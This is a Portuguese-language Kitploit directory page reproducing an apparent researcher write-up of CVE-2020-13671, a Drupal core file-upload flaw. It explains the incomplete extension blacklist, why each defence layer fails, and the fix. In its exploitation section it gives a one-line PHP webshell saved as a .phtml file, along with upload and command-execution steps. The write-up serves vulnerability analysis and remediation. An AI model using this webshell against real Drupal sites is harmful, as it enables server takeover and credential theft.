Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-13671 — Análise detalhada e prova de conceito para CVE-2020-13671, uma vulnerabilidade de execução remota de código no núcleo do Drupal por meio de upload de arquivo, incluindo causa raiz, etapas de exploração e remediação. | Kitploit
Ferramentas/GitHubGitHub/dungsocool/cve-2020-13671
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubdungsocool/cve-2020-13671

CVE-2020-13671

Análise detalhada e prova de conceito para CVE-2020-13671, uma vulnerabilidade de execução remota de código no núcleo do Drupal por meio de upload de arquivo, incluindo causa raiz, etapas de exploração e remediação.

Ver Repositório
há 3 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-13671

RCE via Upload de Arquivo — Drupal Core

Software: Drupal Core 8.7.5 (Afetadas: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (Alta)
CWE: CWE-434 — Upload sem Restrições de Arquivo com Tipo Perigoso
CISA KEV: Sim — Vulnerabilidade Conhecida e Explorada
Aviso: SA-CORE-2020-012


O que é o Drupal

O Drupal é um Sistema de Gerenciamento de Conteúdo (CMS) de código aberto escrito em PHP, semelhante ao WordPress ou Joomla, mas voltado para a construção de sistemas mais complexos — sites corporativos, plataformas multilíngues. O Drupal usa uma arquitetura modular, permitindo que a funcionalidade seja estendida habilitando/desabilitando módulos disponíveis ou instalando outros adicionais da comunidade.

Uma das funções básicas de qualquer CMS é permitir que usuários enviem arquivos — avatares de perfil, documentos anexos, anexos em artigos. O Drupal salva esses arquivos no diretório sites/default/files/ e os serve diretamente através do servidor web (Apache ou Nginx).

⇒ Isso cria uma superfície de ataque clara: se um atacante conseguir enviar um arquivo PHP para esse diretório, o servidor web o executará quando acessado por meio de uma requisição de entrada.

Para evitar isso, o Drupal constrói múltiplas camadas de defesa: validando extensões de arquivo, renomeando arquivos perigosos, colocando .htaccess para bloquear a execução de scripts no diretório de upload. Mas na versão 8.7.5, os atacantes exploram exatamente o ponto cego nessas camadas.

Condições de Exploração

Essa vulnerabilidade requer uma conta com permissões de upload de arquivos. Por padrão, no Drupal 8.7.5, usuários comuns (Autenticados) só têm permissões para visualizar conteúdo e postar comentários — nenhuma permissão para criar artigos ou enviar arquivos.

ContaExplorável?Explicação
AdministradorSimPermissões totais de upload
Editor / Criador de ConteúdoSimSe tiver a permissão "Criar conteúdo" concedida com upload pelo admin
Usuário autenticado (padrão)NãoPor padrão, não tem permissão para criar conteúdo ou enviar arquivos
Anônimo (não logado)NãoSem permissão de upload

Porém, na prática, muitos sites Drupal concedem permissões de criação de conteúdo a usuários comuns (fóruns, blogs comunitários, sites de notícias que permitem envio de artigos). Nesses casos, um atacante só precisa registrar uma conta para explorá-la.

Fluxo de Ataque:

root@kitploit:~
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE

Causa Raiz ( CAUSA RAIZ )

No arquivo core/modules/file/file.module, há uma única regex que determina quais arquivos são considerados executáveis:

root@kitploit:~
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

image.png

Essa regex lista 7 extensões: phar, php, pl, py, cgi, asp, js. Qualquer arquivo com uma extensão que corresponda a essa lista terá .txt adicionado automaticamente pelo Drupal — neutralizando a capacidade de execução.

No entanto, o motor PHP não processa apenas arquivos .php. Dependendo da configuração do servidor web, ele também reconhece e executa outras extensões:

ExtensãoSignificadoIncluída na regex?
.phpPHP padrãoSim
.phtmlTemplate alternativo PHPNão
.php5Manipulador PHP 5Não
.phtTemplate PHPNão
.phpsCódigo-fonte PHPNão
.shtmlServer-Side IncludesNão

5 variantes de extensão PHP estão completamente ausentes da regex. Isso significa que um arquivo chamado shell.phtml enviado ao Drupal → a regex não corresponde → não é renomeado → salvo com seu nome original no diretório de upload → o servidor web vê .phtml → executa como PHP → o atacante obtém RCE. Essa é a causa raiz: o Drupal usava uma blacklist para bloquear extensões perigosas, mas essa lista estava incompleta.

Análise de Cada Camada de Defesa

Quando um usuário envia um arquivo, o Drupal o passa por 3 funções de validação antes de salvar. Abaixo está uma análise de por que todas as 3 falham com .phtml.

Camada 1 — file_munge_filename() (core/includes/file.inc)

Objetivo: detectar extensões perigosas localizadas no meio do nome do arquivo e adicionar _ para neutralizá-las. Como a função funciona:

image.png

root@kitploit:~
$filename_parts = explode('.', $filename);    // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension

foreach ($filename_parts as $filename_part) {
    // iterate over the MIDDLE parts
    // if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;

Por exemplo, com shell.phtml:

  • explode divide em ["shell", "phtml"]
  • shift pega "shell", deixando ["phtml"]
  • pop pega "phtml", deixando []
  • O array do meio está vazio → foreach não executa
  • Retorna "shell.phtml" intacto

Porém, se o arquivo tiver apenas uma extensão, ela não intervém. Assim, essa função foi projetada apenas para lidar com arquivos de múltiplas extensões.

Camada 2 — FILE_INSECURE_EXTENSION_REGEX (file.module:1015)

Esta é a principal camada de defesa. Código na linha 1015:

image.png

root@kitploit:~
if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

Se o nome do arquivo corresponder à regex → altere o MIME para text/plain e adicione .txt ao final.

Com shell.phtml:

  • preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') retorna 0
  • Sem correspondência → não entra no bloco if → o arquivo mantém seu nome original

Assim, essa seção deveria ter bloqueado arquivos perigosos, mas como a regex não sabe que .phtml é perigoso, ela passa direto.

Camada 3 — .htaccess no diretório de upload

O Drupal coloca um arquivo .htaccess em sites/default/files/:

root@kitploit:~
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

A diretiva php_flag engine off desliga o motor PHP para todo o diretório, mas ela só se aplica ao mod_php5. O Drupal 8.7.5 roda em PHP 7, o que significa que mod_php7 está ativo e não desabilitado.

E o .htaccess também tem outras 3 fraquezas:

  • Nginx não lê .htaccess — esse arquivo é completamente ineficaz no Nginx
  • Apache configurado com AllowOverride None → .htaccess é ignorado
  • Servidores usando PHP-FPM em vez de mod_php → a diretiva php_flag não tem efeito

Exploração

Passo 1 — Criar webshell

root@kitploit:~
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

Passo 2 — Enviar arquivo

Faça login no Drupal com uma conta que tenha permissões de upload → Conteúdo → Adicionar conteúdo → Artigo → no campo Imagem, selecione o arquivo webshell.phtml → Enviar.

O Drupal aceita o arquivo, não o renomeia e o salva com seu nome original em sites/default/files/.

image.png

Passo 3 — Executar webshell

Depois disso, execute o comando de shell com whoami:

image.png

Assim, alcançamos com sucesso RCE como www-data.

Testando mais a fundo para visualizar credenciais:

image.png

Resultado

O atacante pode ler o settings.php contendo credenciais do banco de dados, despejar todo o DB, instalar um reverse shell ou escalar privilégios para root.

Remediação

Atualize a regex — adicione as 5 extensões ausentes:

root@kitploit:~
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'

// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'

Atualize o .htaccess — adicione a desabilitação para mod_php7:

root@kitploit:~
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>

O patch funciona, mas ainda depende de uma blacklist. Se novas extensões surgirem no futuro (.php8, .phpt), a regex precisará ser atualizada novamente. A whitelist — permitir apenas extensões conhecidas como seguras — seria uma abordagem mais completa.

Resumo

Arquivo Vulnerávelcore/modules/file/file.module linha 28
Causa RaizA blacklist da regex não contém .phtml, .php5, .pht, .phps, .shtml
ImpactoUpload de .phtml → servidor executa → RCE
3 Camadas de Defesa Contornadasfile_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess
CorreçãoAdicionar 5 extensões à regex + desabilitar mod_php7 no .htaccess
Baixar ferramenta